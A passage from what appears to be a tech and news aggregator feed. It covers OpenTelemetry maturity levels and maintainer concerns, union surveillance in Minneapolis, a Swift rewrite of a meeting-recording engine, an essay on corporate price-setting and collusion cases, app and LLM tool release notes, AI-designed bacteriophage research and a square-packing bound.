This is the default level: any components with no explicit maturity level should be assumed to be "Alpha". The component is ready to be used for limited non-critical production workloads, and the authors of this component welcome user feedback. Bugs and performance problems are encouraged to be reported, but component owners might not work on them immediately. The component's interface and configuration options might often change without backward compatibility guarantees. Components at this stage might be dropped at any time without notice.

Beta

Same as Alpha, but the interfaces (API, configuration, generated telemetry) are treated as stable whenever possible. While there might be breaking changes between releases, component owners should try to minimize them. A component at this stage is expected to have had exposure to non-critical production workloads already during its Alpha phase, making it suitable for broader usage.

Release Candidate

The component is feature-complete and ready for broader usage. The component is ready to be declared stable, it might just need to be tested in more production environments before that can happen. Bugs and performance problems are expected to be reported, and there's an expectation that the component owners will work on them. Breaking changes, including configuration options and the component's output, are only allowed under special circumstances. Whenever possible, users should be given prior notice of the breaking changes.
Stable

The component is ready for general availability. Bugs and performance problems should be reported, and there's an expectation that the component owners will work on them. Breaking changes, including configuration options and the component's output, are only allowed under special circumstances. Whenever possible, users should be given prior notice of the breaking changes.

Deprecated

Development of this component is halted. No new versions are planned, and the component might be removed from its included distributions. Note that new issues will likely not be worked on except for critical security issues. Components that are included in distributions are expected to exist for at least two minor releases or six months, whichever happens later. They also MUST communicate in which version they will be removed, either in terms of a concrete version number or the date of a release, like: "the first release after 2023-08-01".

Unmaintained

A component identified as unmaintained does not have an active code owner. Such components may have never been assigned a code owner, or a previously active code owner has not responded to requests for feedback within 6 weeks of being contacted. Issues and pull requests for unmaintained components SHOULD be labeled as such. After 6 months of being unmaintained, these components MAY be deprecated. Unmaintained components are actively seeking contributors to become code owners.

In addition it is, respectfully, misleading to imply that Go and Ruby are being maintained at the same standard. This isn't a shot at the Ruby folks — they are doing heroic work with what they have. But pretending parity exists when it doesn't just creates confusion and quiet resentment when a user shows up expecting one experience and gets another. Being honest about maintenance tiers would let people make informed choices and might attract more help to the other tiers by naming the problem out loud.

Finally I would try to surface these problems more openly for OpenTelemetry from the perspective of "we need more maintainers". I feel like the people doing this work probably knew there was a problem, but it seems like the community at large has no idea that there is a need for frankly more engaged ideally independent maintainers and contributors.

OpenTelemetry is a great project that is doing great work. It's doing, frankly, heroic work at this scale with this few people. But I think in order to actually replace the vendor specific SDKs we need to start getting a bit more pragmatic about what is realistic to do in terms of stability contracts and number of languages. I don't think breaking changes are as devastating to the community as these promises imply as long as they are communicated well and I think with this thin of a bench of maintainers, something has to give.

Anyway feel free to check my data for accuracy and let me know if you find problems!

Union Members, Activists Defiant in the Face of Federal Surveillance

Portside
portside.org
2026-08-21 13:45:09
Union Members, Activists Defiant in the Face of Federal Surveillance Maureen Fri, 08/21/2026 - 13:45 ...
Original Article
Union Members, Activists Defiant in the Face of Federal Surveillance Published

Photo of people standing behind a speaker at a press conference.

Gabriel Van de Water Davis, one of the 15 people federally indicted for conspiracy to impede or injure federal officers, talks to Unidos executive director Emilia González Avalos after speaking during a press conference condemning federal surveillance. | Nicole Neri

Unions, progressive organizations and churches that were the subjects of a wide-ranging surveillance operation by the Department of Homeland Security are presenting a unified message: We will not be intimidated.

The leaders spoke at a press conference Tuesday morning alongside three of the 15 people indicted in an alleged conspiracy to impede or assault federal agents.

“The (Immigration and Customs Enforcement) and Border Patrol agents who murdered Renee Good and Alex Pretti have been hidden away and protected, while DHS turns its attention towards spying on union members, civil rights organizations, churches and individuals who stood up for their community in whatever ways they were able,” said Gabriel Van De Water, an artist and community organizer who was among the 15 people indicted in June.

As part of its surveillance operation during Operation Metro Surge, Homeland Security agents secretly obtained financial records from organizations, including the labor unions Service Employees International Union and Communications Workers of America; Voices for Racial Justice, a longstanding racial justice training organization; and Sunrise Movement, an environmental justice organization. Undercover agents attended meetings of anti-ICE organizers as they planned protests, including the Jan. 23 general strike and march, and food distribution for immigrants who were in hiding.

The tactics were revealed by a defense attorney representing one of the 15 defendants in federal court documents last week. Filings included reports filed by undercover agents, copies of subpoenas and descriptions of messages on the encrypted messaging app Signal.

“These shams of political investigations — these are just acts of retribution and intimidation,” said Rev. Jennifer Crow, senior minister of the First Universalist Church of Minneapolis, one of the churches where undercover agents infiltrated a meeting.

The speakers gathered outside the Target headquarters in downtown Minneapolis, and called on Target and other Minnesota-based corporations to use their political power to demand accountability for federal agents’ actions during Operation Metro Surge.

“Every single corporation that claims to be here for the right reasons is going to have to show it through,” said Marcia Howard, president of Minneapolis Federation of Educators Local 59.

ICE and Target did not immediately respond to the Reformer ’s emailed questions.

The Minneapolis Federation of Educators Local 59 is one of nearly 20 organizations accused by the U.S. Department of Justice of forming part of a wide-ranging conspiracy to impede and assault federal agents. A diagram presented to the grand jury as part of the indictments shows the teachers’ union alongside several other unions, the ICE-tracking group Monarca, Democratic Socialists of America and “Left Jab,” a community martial arts group, among others.

Labor leaders and union members said their solidarity with their immigrant members, and with each other, was indispensable as they worked together to defend immigrants from ICE during Operation Metro Surge.

Howard said she’s proud to be affiliated with other institutions that stood up to the swarm of federal agents in Minnesota this winter.

“Kinda chic to be on that list,” she said. Marcia Howard, president of Minneapolis Federation of Educators Local 59, speaks during a press conference condemning federal surveillance Tuesday, Aug. 18, 2026. (Photo by Nicole Neri)

Rebuilding our Electron meeting-recording engine in Swift

Hacker News
circleback.ai
2026-08-21 13:33:26
Comments...
Original Article

How we rebuilt our Electron recording engine in Swift

Our desktop app captures meetings without a bot and streams them to the cloud. For months, the recording engine was the hardest part of the product to make reliable. We'd fix one class of edge case, ship it, and a new one would surface the next week. Different root causes, same pattern.

The engine ran in the render process of our Electron app. We tried the obvious fixes: tighter lifecycle management, moving work off the main thread, isolating it from React's render cycle. Each change helped at the margin, but none addressed the real issue. A render process is the wrong place to do realtime audio and video capture. A capture engine can't tolerate GC pauses, throttling, or any of the other things a browser runtime does to stay responsive.

So we went native: ScreenCaptureKit on macOS, libobs on Windows, and a shared Swift layer tying it together.

Atomic: our Combine-to-Jotai bridge

Bridging a native runtime to React usually means writing native addon bindings by hand. You serialize every value that crosses the boundary, route events through stringly-typed names, and update three files whenever you add a property: the Swift class, the C++ binding, and the TypeScript wrapper. It works, but it's out of sync the moment anyone forgets a step.

What if every @Published property in Swift automatically became a Jotai atom in React? Fully reactive, type-safe, no glue code. That's what our internal tool Atomic does.

@NodeExport
public final class AudioPlayer {
    @Published public var isPlaying: Bool = false
    @Published public var volume: Float = 1.0

    public func play() { isPlaying = true }
    public func pause() { isPlaying = false }
}

#AtomicExport(AudioPlayer.self)
const player = new AudioPlayer();
const volumeAtom = atomWithNativeState<number>(player.volume);

store.set(volumeAtom, 0.5);     // Flows into Swift.
player.play();                  // Updates flow back into React.

From React's perspective, these atoms are indistinguishable from any other Jotai atom. The fact that the data lives in a Swift runtime on a different thread is invisible.

The @NodeExport macro generates the entire bridge at compile time. Types map automatically ( Int number , String? string | null ). Value changes in Swift schedule callbacks on Node's event loop. Every new property we add on the Swift side is instantly available in React. And because Atomic is built on Swift, not Apple frameworks (we use OpenCombine on Windows), the same bridge runs on both platforms.

Two capture engines, one interface

On macOS, ScreenCaptureKit gives us hardware-accelerated capture and the native content picker. On Windows, we use libobs through a Swift wrapper we call OBSKit. The two engines have fundamentally different architectures.

On macOS, we receive raw sample buffers from three independent sources and assemble the file ourselves. On Windows, capture, mixing, encoding, and muxing run as a single graph. We configure it and a file monitor streams newly written bytes to our upload session.

Windows capture has its own challenges. We use Windows Graphics Capture (WGC) as the primary method, and if it doesn't deliver frames in time, we fall back to BitBlt. We also detect all-black frames (common with some emulated windows or games) and switch methods mid-recording.

When clocks disagree

This is where the macOS engine earns its complexity. Three capture sources, three hardware clocks, three different ideas of what time it is.

Both audio sources get timestamped and converted to a global frame index. The mixer drains both queues in lockstep, only producing output when both have enough data. If one source stalls (muted mic, frozen virtual device), the mixer detects it after 500ms and switches to single-source mode until it resumes.

Then there's a subtler problem: audio drivers that lie about their sample rate. Some virtual drivers report 48kHz but deliver buffers at 44.1kHz. Over a 30-minute meeting, this drift becomes audible. Our fix is confidence-based correction: we measure actual buffer cadence, and if it consistently disagrees with the reported format across three consecutive buffers, we reinterpret the stream at the correct rate with a crossfade to avoid clicks.

On Windows, most of this complexity is abstracted away by the capture engine's internal mixer. The tradeoff is control: on macOS we detect and fix edge cases like lying drivers ourselves; on Windows we trade that granularity for simplicity.

Recordings that survive crashes

A regular MP4 writes its metadata at the end of the file. Crash before that, and the recording is gone. On both platforms, we use fragmented MP4 instead.

Each segment is self-contained. A crash at minute 30 loses at most the last second. Segments go to both local storage and the cloud simultaneously. If the network drops, segments persist locally and the upload resumes automatically when connectivity returns.

Desktop recording used to be one of our most common sources of support tickets. Now it's a boring part of the app that just works. The entire rewrite shipped in two months, and Atomic is why: once the bridge existed, adding a feature meant writing Swift and watching the UI update in real time.

Not everything belongs in a render process. Sometimes you need to go native.

If taking on problems like this sound interesting to you, consider joining us .

When the Shortage Is the Strategy

Hacker News
nooneshappy.com
2026-08-21 13:31:15
Comments...
Original Article

9 min read

I commonly hear two different responses when people discuss whether the United States is in a recession. I hear “What recession?” and “Everything is expensive now!” All while credit card debt hit an all-time high last year ($1.28 trillion, Q4 2025). More “regular” people are living paycheck to paycheck, and closer to homelessness than ever before. 111 million Americans, ~40% of adults cannot pay their credit card balance in full each month. [ 1 ] Contributing to the issue is a single, simple business practice: constrain supply, raise prices far beyond what the constraint justifies, and then refuse to lower them.

The pandemic is where companies discovered it worked, with the perfect cover of confusion, panic, and unknowns. It was the proof of concept. When global supply chains broke down in 2020, the average markup over cost jumped from 56% to 72% in a single year — the fastest increase since 1955. [ 2 ] Corporate profits have risen 50% since; real hourly wages, only 3%. [ 3 ] As far as the general public knew, who was to say whether it was the pandemic creating shortages, or higher upstream commodity pricing. Few knew, and it certainly wasn’t a priority. Corporate profits drove more than a third of inflation from the start of the pandemic, and 53% of it by mid-2023 (after supply chains had recovered). In the forty years before, they drove 11%. [ 4 ] This format increased corporate confidence, and laid out a plan for every CEO and CFO [of large market companies] in the country.

In 2026, with reducing regulations, rampant collusion, lack of competition, and direct evidence (the pandemic) that corporations can gouge consumers without concern, we are in a dire circumstance that has caused goods to increase in cost 3x (or more) in 6 years. It’s truly unprecedented, and in my opinion, everyone should be aware of the specifics. Because even if you are one of the fortunate that are still able to afford your quality of life, there are things you can do for those that are closer to not being able to.

Rockets and feathers

The process of increasing prices more than constraint demands has been exceedingly popular across industries lately. Its academic name is Asymmetric Price Transmission , but it’s commonly known as Rockets and Feathers . Describing prices that rise like rockets, but fall like feathers. [ 5 ]

S&P 500 net profit margins hit an all-time high in Q2 2026, reaching 16.9%, up from the 10-12% range that held for most of the prior decade. [ 6 ] Workers’ share of national income fell to 52.9%, the lowest level recorded since the data series began in 1947. [ 7 ] 401(k) hardship withdrawals have tripled since 2020. [ 8 ]

At the CNBC CFO Council Summit in late 2023, Richmond Fed President Tom Barkin polled the executives in the room about their pricing plans: a majority said they would raise prices, a minority said they would hold, and not a single one said they would lower them. Companies won’t give up pricing power “until they have to,” Barkin said, noting that before COVID, most companies “really weren’t into raising prices [as they] didn’t think they had the power to do it.” [ 9 ]

  • Corporate profits hit $4.42 trillion in Q1 2026, more than double the 2010 level. [ 10 ]
  • In Q2 2026, S&P 500 earnings grew 50.4% while revenue grew 15.0%. This represents fewer sales, but higher prices on fewer units. [ 6 ]

“Obviously, our goal if a recession hits, and commodity costs come down, would be to then get a gap, maintain a gap going forward where obviously, we’re maintaining more price than the decrease on the commodity.” [ 11 ] - DuPont CEO Edward Breen

Since 2020, the same pattern has played out across at least eleven major consumer categories. Eggs, cars, rent, groceries, gasoline, auto insurance, lumber, shipping, building materials, pharmaceuticals, baby formula. Each with its own supply shock, each with the same result: prices went up, profits hit records, and when the constraint eased, the prices stayed.

“We don’t reduce prices on the back end of these increases.” And: “A nice light recession would be perfect for us because it would bring raw material costs down even more.” [ 12 ] [ 13 ] - H.B. Fuller CEO Jim Owens

The stock market is rewarding this behavior. PepsiCo posted nine consecutive quarters of volume decline while raising prices 10-17%. Revenue still grew. [ 14 ] Across consumer packaged goods from 2021 to 2023, dollar sales rose 13% while unit volume fell 6%. Every dollar of growth came from pricing, not demand. [ 15 ] And when companies break the pattern, they’re punished. Albertsons cut its full-year guidance in July 2026 as it invested in lower prices to hold off Walmart and Aldi, and the stock fell 21% in a day. [ 16 ] BJ’s Wholesale beat its earnings estimates in May 2026 and fell 8% anyway, on a ten-basis-point decline in its merchandise margin. [ 17 ]

“Why would I be the first to cut my margins when we just went through a period where we had the world’s best excuse [inflation] to recover margins?” [ 9 ] - Esade marketing professor Marco Bertini

“Imagine I am the first to say I am holding on prices, and make that known to customers? That’s how a price war starts and the competitive advantage from being the ‘good guy’ lasts two seconds. No one wants a race to the bottom. The gains over the past few years evaporate in a few months.” [ 9 ] - Esade marketing professor Marco Bertini

“We’re all a bunch of cars on a highway… Who hits the brakes first? Who wants to hit the brakes before the person in front of them hits the brakes?” [ 9 ] - Anonymous CFO on the CNBC call

Ongoing collusion

Every pattern above can be explained without conspiracy. Costs rose, firms responded independently, nobody wanted to cut prices first. That interpretation is reasonable, it just requires ignoring how often these same industries have been caught coordinating on purpose. Price fixing is not a theory about how corporations behave. It is a category of federal crime with a long prosecution record.

Industry Conduct Outcome
LCD panels 60+ secret “Crystal Meetings” in Taiwan hotels, 2001–2006. $71.9B in price-fixed panels ~$3B in global fines. 22 executives charged, several imprisoned. Samsung reported first and paid $0 [ 18 ]
Auto parts Bid rigging across 30+ component categories, 2003–2010. Parts in 25 million US cars $2.9B. 46 companies pleaded guilty, 32 executives imprisoned [ 19 ]
Generic drugs Teva and 20+ manufacturers coordinating on 100+ drugs at industry dinners ~$1.3B to date. Doxycycline went from $20 to $1,829 [ 20 ]
DRAM Price fixing, 1999–2002 $730M+. 12+ executives imprisoned [ 21 ]
Airline fuel surcharges 21 airlines, 2000–2006 $700M+. British Airways alone $540M [ 22 ]
Lithium-ion batteries Cylindrical cells for laptops and phones, over a decade ~$252M [ 23 ]
Poultry, beef, pork Agri Stats intermediary sharing prices, production, and margins across competitors $500M+. Zero individual convictions [ 24 ]
Eggs Coordinated bids to manipulate the Urner Barry benchmark, 2022–2025 $3.3M and 53M donated eggs. 0.08% of Cal-Maine’s annual revenue [ 25 ]
Rental housing RealPage algorithm setting rents from competitors’ confidential data Settled Nov 2025. $3.8B added to renters’ bills in 2023 [ 26 ]
The first six are criminal convictions or guilty pleas. The egg and RealPage matters were settled without admission of wrongdoing.

Samsung, SK hynix, and Micron hold about 90% of the global DRAM market. Samsung and SK hynix pleaded guilty to fixing DRAM prices in 2005; Micron avoided penalty by reporting them. In June 2026, seventeen plaintiffs filed a class action in the Northern District of California alleging the three used a coordinated pivot to AI memory as cover to cut DDR3 and DDR4 output, with prices up roughly 700% in four years. [ 27 ] The allegations are unproven at this time. A nearly identical case was dismissed in 2020 and upheld on appeal in 2022, the Ninth Circuit holding the conduct “more likely explained by lawful, unchoreographed free-market behavior”, that the law requires an actual agreement, not the conscious parallelism common in a three-supplier market.

Three companies controlling ninety percent of a market can each cut supply and raise prices, and the law calls it competition. The system doesn’t punish collusion, so it’s a rational business approach to take advantage of the consumer to benefit the real product, share price.

The title of this article is purposefully the same as the headline of the Rain Intelligence piece on the DRAM lawsuit , albeit expanding on the meaning.

Tariff refund

The Supreme Court struck down IEEPA tariffs in February 2026, making approximately $166 billion in refunds available to companies. [ 28 ] [ 29 ] Technically Judge Richard Eaton at the Court of International Trade ordered the refunds. These are refunds for tariff costs that companies had already passed through to consumers via price increases. $100B of it has already been paid out. [ 30 ] The prices didn’t come back down. The refunds went to the companies. This is what they had to say about the tariffs:

  • McCormick CFO Marcos Gabriel : “We are going to use the majority of the tax refund to offset these higher costs.”
  • PepsiCo CFO Steve Schmitt : “We will be using the tariff… refunds to help offset some commodity inflation.”
  • Polaris CEO Mike Speetzen : “Positive net pricing more than offset higher commodity costs.”
  • Descartes’ Jackson Wood : “Recapturing those duty payments is really going to be about making their businesses whole. It’s unlikely to bring much relief to the U.S. consumer any time soon.” [ 29 ]

Note: Of 22 companies reviewed, half adjusted executive bonuses upward to exclude tariff costs from performance calculations. [ 31 ] Meaning consumers paid the tariff through higher prices, the company got the money back, and the executives were scored as though the tariff had never happened.

Corporations are not acting in your best interest, they are doing anything they can to increase profit.

“We’ll continue to offset a portion of the cost impacts with price increases.” [ 32 ] - Procter & Gamble CEO Jon Moeller , January 2022

Procter & Gamble predicted $800 million in windfall profits by retaining savings from falling commodity costs rather than passing them to consumers. [ 4 ]

Stop buying at inflated prices

Consumer sentiment has been sitting at recession levels since late 2025, and we need to behave like it. [ 33 ] 124,000 unsold new homes [ 34 ] and record car ages [ 35 ] show the truth of American finances in 2026. The corporations are attempting to convince consumers that there is nothing wrong, so that they can sustain their profits. They’re banking on you not noticing.

We should be purposefully delaying purchases. It is the most logical move with inflation, the ongoing war in Iran, and the predatory profits currently recorded. The only option consumers have right now is refusal, and historical examples say it works, but only if enough partake.

In January 2025, Croatian consumers organized a retail boycott through a Facebook poll of 144,000 people who voted on which specific chains to target. On the first boycott day, invoices dropped 44% and sales fell 53%. Over three weeks, retailers lost €108 million. [ 36 ] Kaufland cut prices on 1,000 products. The government expanded price caps from 30 to 70 essential items. [ 37 ] The boycott spread to 13 countries. North Macedonia saw a 46% revenue decline at major chains. We need to trigger the price war that the CEOs quoted above are afraid of.

Discuss product research with others. It helps us know what things actually cost before assuming their personalized advertised prices are the norm. See through the marketing to the manufacturing. See the problems a product solves, and the value of your purchase (to the company).

Be honest with yourself about your financial position. Even if you can afford something, do you truly need it? Is the markup fair? Does it anger you to know that you could solve this problem cheaper? Do you feel reward from saving money by avoiding cost? Evaluate older alternatives. See the value in restoring something versus buying new. Foresee the equalization of the market through falling prices because you personally refused to partake in these profit-motivated price hikes. Once you see the markup, you should be more proactive about identifying fair value. Train yourself to avoid luxury brands when the product is roughly the same. Here are a few common examples of product markups, use these as reminders when shopping to look for more reasonable prices.

  • Mainstream automobiles cost roughly $16K-$25K to produce, but sell for $48K-$50K. 2-3x markup before the dealer adds another 10%. [ 38 ]
  • Appliances have a 95-100% manufacture-to-retail margin. [ 39 ]
  • Furniture carries a 42-43% markup on average, up to 50% at the major chains. Only the sale prices ever make sense to consider. [ 39 ]
  • Clothing has a 150-250% markup. [ 39 ]
  • Mattress manufacturers give the same mattress different names at different retailers, so you can’t comparison shop. Markups routinely run into the hundreds of percent.

We live at a time where obvious oligopolies with concentrated market power are using supply constraints (real or manufactured) as a trigger to increase margin, and never lower it. This is a systematic and coordinated attack on the consumers of the United States by companies that identified the mechanism and prioritize their stock value. They can do this because they think you have no choice. Show them you do.

References

1. Credit card debt hit $1.28 trillion . Yahoo Finance , 2026. Accessed 2026-08-16.

2. Prices, Profits, and Power: An Analysis of 2021 Firm-Level Markups . Mike Konczal and Niko Lusiani, Roosevelt Institute , 2022-06. Accessed 2026-08-16.

3. The Record Divide Between Corporate Profits and Worker Pay . Edward Conard Macro Roundup , 2026. Accessed 2026-08-16.

4. Inflation Revelation: How Outsized Corporate Profits Drive Rising Costs . Groundwork Collaborative , 2024-01-17. Accessed 2026-08-16.

5. Grocery prices went up like rockets and are coming down like feathers . Fortune , 2026-07-25. Accessed 2026-08-16.

6. Earnings Insight: Q2 2026 . John Butters, FactSet Research Systems , 2026-07-31. Accessed 2026-08-16.

7. Productivity and Costs, Second Quarter 2026 . U.S. Bureau of Labor Statistics , 2026-08. Accessed 2026-08-16.

8. 401(k) hardship withdrawals hit a record . Axios , 2026-03-04. Accessed 2026-08-16.

9. As inflation falls, corporate America won’t rush to pay the price . Eric Rosenbaum, CNBC , 2023-12-15. Accessed 2026-08-16.

10. Corporate profits were already at historic highs. They shot even higher in Q1 . Yahoo Finance , reporting Bureau of Economic Analysis data, 2026-05-28. Accessed 2026-08-16.

11. It’s Not ‘Inflation’ — We’re Just Getting Ripped Off. Here’s Proof. . Inequality.org , 2024. Accessed 2026-08-16.

12. Some economists say corporate greed is the real culprit even as companies blame inflation for higher costs . NBC 6 South Florida , 2022. Accessed 2026-08-16.

13. Big corporations are choosing to keep prices high for consumers . Lindsay Owens, Groundwork Collaborative / Boston Globe , 2022. Accessed 2026-08-16.

14. How Corporate ‘Greedflation’ Contributes To Higher Consumer Costs And Job Losses . Jack Kelly, Forbes , 2023-08-10. Accessed 2026-08-16.

15. What’s driving the volume sales decline in the US? . NielsenIQ , 2023. Accessed 2026-08-16.

16. Albertsons Stock Is Plunging After the Grocery Giant Slashed Its Outlook . Yahoo Finance , 2026-07. Accessed 2026-08-16.

17. What’s Hurting BJ Stock? Wall Street Points To Gas Costs, Margin Squeeze, Weak Consumer . Yahoo Finance , 2026-05. Accessed 2026-08-16.

18. LCD Price-Fixing Conspiracy . Federal Bureau of Investigation . Accessed 2026-08-16.

19. Sticker Shock: Guilty Pleas Show High Cost of Price Fixing in Auto Industry . Federal Bureau of Investigation . Accessed 2026-08-16.

20. Lawsuit by 44 States Accuses Pharma Giants of Multi-Year Conspiracy to Hike Drug Prices . Common Dreams , 2019-05-12. Accessed 2026-08-16.

21. Samsung Agrees to Plead Guilty and to Pay $300 Million Criminal Fine for Role in Price Fixing Conspiracy . U.S. Department of Justice , 2005-10-13. Accessed 2026-08-16.

22. 21 Airlines Fined in Price-Fixing Scheme . NBC News . Accessed 2026-08-16.

23. Lithium-Ion Batteries Antitrust Litigation . Hagens Berman Sobol Shapiro LLP . Accessed 2026-08-16.

24. The Secret Plot to Raise Meat Prices . Jacobin , 2025-12. Accessed 2026-08-16.

25. Egg producers settle price inflation probe for $3.3 million . CNBC , 2026-06-30. Accessed 2026-08-16.

26. DOJ Backs Tenants in Price-Fixing Case Against Big Landlords and Real Estate Tech . ProPublica . Accessed 2026-08-16.

27. Samsung, SK hynix, and Micron sued over alleged DRAM price fixing amid record memory costs . Luke James, Tom’s Hardware , 2026-06. Accessed 2026-08-16.

28. Supreme Court strikes down tariffs . SCOTUSblog , 2026-02-20. Learning Resources, Inc. v. Trump . Accessed 2026-08-16.

29. Refunds for Thee, Not for Me: CEOs Reveal How Businesses Are Cashing Refund Checks for Tariffs Paid by Consumers . Groundwork Collaborative , 2026. Accessed 2026-08-16.

30. Trump admin refunds $100 billion in ‘liberation day’ tariffs . CNBC , 2026-08-05. Accessed 2026-08-16.

31. Some CEOs are receiving millions in bonuses after tariff costs were ‘neutralized’ — consumers get nothing . Yahoo Finance , 2026. Accessed 2026-08-16.

32. P&G earnings top estimates as price hikes offset rising costs, company raises 2022 sales forecast . CNBC , 2022-01-19. Accessed 2026-08-16.

33. The Consumer Sentiment Disconnect From Economic Reality . Real Investment Advice , 2026. Accessed 2026-08-16.

34. Builders slash prices to move homes; June sales edge higher . Briefs , 2026. Accessed 2026-08-16.

35. The Average Age Of Vehicles In The US Is Higher Than You Might Think . Carscoops , 2025-05. Accessed 2026-08-16.

36. Croatian Boycott Costs Retail Chains €80 Million as Protests Spread Across the Balkans . Novinite , 2025. Accessed 2026-08-16.

37. People Power: Croatian shop boycott leads to chains announcing price cuts . Croatia Week , 2025. Accessed 2026-08-16.

38. How Much Does a Car Cost to Manufacture? . Sohoify . Accessed 2026-08-16.

39. Cheat Sheet: Retail Markup on Common Items . Wise Bread . Accessed 2026-08-16.

Galactic Compass 2: now with new augmented reality mode

Hacker News
interconnected.org
2026-08-21 13:30:38
Comments...
Original Article

I updated my Galactic Compass app for iPhone with augmented reality mode.

Background:

Galactic Compass is a floating green arrow that always points the way to the middle of the Milky Way, 26,000 light years away.

Here’s the announcement blog post from 2024.

It went kinda viral at the time. It was in the “top free apps” charts at the App Store briefly. In the Travel category. ( I keep a list of press mentions over on Acts Not Facts .)

Why so popular? Probably because it was early “vibe coding” – I copy-and-pasted between ChatGPT and Xcode to code it, and that was new at the time.

But ALSO because knowing where the galactic centre is surprisingly grounding? I wake up every few months to an email in my inbox from someone who is having a tough time in life, or is losing a loved one, or similar, and somehow they have discovered Galactic Compass and they tell me how they sit outside at night with a cigarette and gaze at the arrow and it gives them a place of comfort and infinity.

I know what they mean. The Earth spins; it turns around the Sun; and so, at first, the supermassive black hole of the galaxy appears to slowly whirl around us, above and under the horizon, round and round. But then your perspective flips, and we are the ones moving, and the centre of the galaxy becomes a fixed point, our rock.

Anyway Galactic Compass 2 has two new features:

  1. Augmented reality mode. You can place the arrow in the world around you and walk around it.
  2. Apple Watch app. See the compass arrow on your wrist (tap to use alignment mode which gives you a haptic bump when the arrow is pointing straight ahead).

Plus a new Liquid Glass appearance ready for iOS 27.

Download Galactic Compass from the App Store.


Some “making of” notes:

Apple’s in-camera augmented reality is really, really good. Like, the arrow remains rock solid as you walk around. I hope they keep improving it.

I added a specific interaction that I’m intrigued by: you can hold down on the compass around to “drag” it around. It remains about 75cm away in phone reference frame, then drops into world frame when you release. I like how fluid it feels. My phone starts to feel like a glove that can reach into the virtual.

With the Apple Watch app… RealityKit, Apple’s graphics SDK, isn’t supported on watchOS. So how does the arrow rotate any which way? The joy of AI and agents that grind problems into dust : Claude Fable built its own 3D graphics library. Astounding.

It isn’t all fire-and-forget vibing with AI agents:

That first version of Galactic Compass didn’t work when you lifted your phone higher than about 30 degrees. ChatGPT couldn’t get the maths right.

And there is a lot of maths: device rotation, world frame rotation, astro… the appropriate way to combine these 3D rotations (and avoid gimbal lock) is a method called “quaternions” which - despite my physics background - I have never grasped.

After I released version 1.0, I figured I would have to do the rotations myself. So I sat down with ChatGPT and I didn’t get it to write the code, but I got it to educate me. With a patient, interactive tutor, I was able to finally do what I hadn’t by reading books and asking mathematician friends – I learnt how to use quaternions just enough to make the app work.

So learning doesn’t stop just because I outsource a bunch of thinking to AI. It pushes me to learn more. I like that as an outcome.

Show HN: Rotation via Double Reflection

Hacker News
static.laszlokorte.de
2026-08-21 13:18:06
Comments...

llm 0.32.1

Simon Willison
simonwillison.net
2026-08-21 13:16:13
Release: llm 0.32.1 Fresh installs of LLM stopped working the other day because the OpenAI Python library dropped its usage of httpx, and it turned out LLM depended on that library but only installed it via a transitive openai dependency. This dot-release fixes that for the moment by pinning...
Original Article

Fresh installs of LLM stopped working the other day because the OpenAI Python library dropped its usage of httpx , and it turned out LLM depended on that library but only installed it via a transitive openai dependency.

This dot-release fixes that for the moment by pinning to openai<3 , and a soon-to-drop 0.33 release will switch from httpx to httpx2 .

LiteLLM (YC W23) Is Hiring – Rust / Performance Engineers

Hacker News
jobs.ashbyhq.com
2026-08-21 13:00:23
Comments...

llm-openrouter 0.7

Simon Willison
simonwillison.net
2026-08-21 12:58:19
Release: llm-openrouter 0.7 Now that this plugin is compatible with LLM 0.32 it works much better with reasoning LLMs available through OpenRouter. Updated for compatibility with LLM 0.32. Models now use OpenRouter's implementation of the Responses API. Three new server-side tools: Shell, ...
Original Article

Now that this plugin is compatible with LLM 0.32 it works much better with reasoning LLMs available through OpenRouter.

AI Is Learning to Write Genetic Code

Schneier
www.schneier.com
2026-08-21 12:51:50
This sort of research is both exciting and terrifying: The two models in question were told to generate complete genomes for a viable bacteriophage—a type of virus able to infect and replicate itself inside bacteria, destroying them from the inside. Using an existing bacteriophage as an exampl...
Original Article

This sort of research is both exciting and terrifying:

The two models in question were told to generate complete genomes for a viable bacteriophage—a type of virus able to infect and replicate itself inside bacteria, destroying them from the inside.

Using an existing bacteriophage as an example—ΦX174 (pronounced “fie-ex-1-7-4”), known for its ability to infect and destroy E. coli bacteria—the models generated about 700,000 potential designs, of which the researchers picked 285 that looked most promising.

The researchers then synthesised new DNA molecules using those designs and inserted them into E. coli bacteria, before waiting to see if viable bacteriophages would emerge.

Shortly afterwards, 16 of the Petri dishes in which the bacteria were growing began to show clear spots, as the viruses began to attack and replicate themselves inside the E. coli, demonstrating their viability.

Some of those viable viruses proved more effective at attacking E. coli than the original ΦX174 bacteriophage.

That’s a positive use of a synthetic virus. We can all imagine the negative uses.

Tags: ,

Posted on August 21, 2026 at 12:51 PM 0 Comments

Sidebar photo of Bruce Schneier by Joe MacInnis.

Another better lower bound for n=17 square packing

Hacker News
gus-massa.blogspot.com
2026-08-21 12:50:15
Comments...
Original Article

The idea is to improve a recent result and prove that 4.5058 (?) ≤s(17) using these weights:

But let’s first define s(17). Quoting the old article about the topic

Let s(n) be the side of the smallest square into which we can pack n unit squares.


For n=16, the best is obviously a 4x4 array, so s(16)=4.

For n=15, the 15 unit squares can also obviously be enclosed in a 4x4 square so s(15)≤4. Proving that it’s the smaller square is not obvious at all. Anyway, Erich Friedman proved that in 1999, so s(15)=4

For n=17, the obvious enclosing square is the 5x5, but in 1998 John Bidwell found an example that shows that a square of 4.6756… is enough, so s(17)≤4.6756… It’s a very interesting arrangement of the squares, so it’s worth visiting the collection to see it and the versions for other numbers.

On the other hand, Trevor Green proved in 2000 that 4.4452…≤s(17), (more details later). So there was a huge gap 4.4452…≤s(17)≤4.6756…

A few weeks ago, Sam Burns with ChapGPT 5.6 Sol improved (?) the lower bound . The new bound is still not reviewed by the community. I took a look and it makes a lot of sense and I think it’s correct, but I may be missing a small corner case in the proof or the accompanying program, or I may be missing a huge hole. I’ll add a small (?) to the number just in case, but I’m quite optimistic and confident it’s correct so I’ll use only a half font size.  So the current bound is 4.4452…≤4.4811 (?) ≤s(17)≤4.6756…

My main objection to Sam Burns is that it really deserved a nice graphic! So my first step will be to add a nice graphic here. Also, making a few improvements to the program, I found a new lower bound that is 4.5058 So now we have 4.4452…≤4.4811 (?) ≤4.5058 (?) ≤s(17)≤4.6756…

My new example and the modification of the code are here, but the more technical details about finding the new bound are part of a second post .

Trevor Green’s bound

The idea of the old proof (19+40*sqrt(2))/17≅4.4452…≤s(17) of Trevor Green is to pick 16 very interesting "unavoidable" points in a square of side 4.4452… and then he uses a lot of geometry to prove that any unit square must include at least one of them. So if we try to fit 17 unit squares there, at least two unit squares must share one of the 16 interesting points. The construction chooses 16 points out of a 4x6 grid.

